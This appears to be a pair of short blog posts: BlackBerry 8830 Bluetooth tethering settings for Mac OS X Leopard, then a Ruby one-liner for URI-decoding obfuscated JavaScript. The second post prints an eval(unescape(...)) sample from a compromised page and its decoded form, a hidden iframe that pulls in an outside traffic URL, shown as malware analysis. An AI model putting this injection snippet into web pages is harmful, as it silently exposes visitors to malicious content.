Tethering a Verizon BlackBerry 8830 with Mac OS X Leopard

These settings go into System Preferences under the Network area. You have to add a Bluetooth device and pair the phone with modem. If you don't know how, read the forum post that got me this far. The forum works great with Tiger but did not work with Leopard. I had to make changes to the Advanced area to get it to work properly.

Username: PHONE_NUMBER@vzw3.com (not sure how important this is, I've done it with the BlackBerry Internet Server username also)
Password: vzw
Telephone: #777

Advanced button
Vendor: Generic

Ruby snippet for URI decoding

Ruby Module URI::Escape

I was doing some quick analysis of a page that had some obfuscated javascript with some URI encoded text. Usually, I pull out the javascript and run it through SpiderMonkey (or Didier Stephen's modified version) to see what's going on. Recently, Jordan and I were talking about CLI tools for doing encoding/decoding of things in hex, URI, binary and similar.

So, I took this opportunity to figure out the Ruby for deobfuscating something like this:

eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e
%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66
%72%61%6d%65%20%6e%61%6d%65%3d%39%61%37%62%34%37%32%32%20%73%72%63
%3d%5c%27%68%74%74%70%3a%2f%2f%69%6c%6f%76%65%6d%79%6c%6f%76%65%73
%2e%63%6f%6d%2f%74%72%61%66%66%2e%70%68%70%3f%27%2b%4d%61%74%68%2e
%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%31%35
%32%37%36%29%2b%27%37%61%33%62%36%38%30%39%66%38%5c%27%20%77%69%64
%74%68%3d%32%30%31%20%68%65%69%67%68%74%3d%37%36%20%73%74%79%6c%65
%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69
%66%72%61%6d%65%3e%27%29"));

Which this:

ruby -e 'require "uri"; p URI.unescape("<junk_from_above>")'

Returns this:

"window.status='Done';document.write('<iframe name=9a7b4722 src=\\'http://ilovemyloves.com/traff.php?'+Math.round(Math.random()*15276)+'7a3b6809f8\\' width=201 height=76 style=\\'display: none\\'></iframe>')"
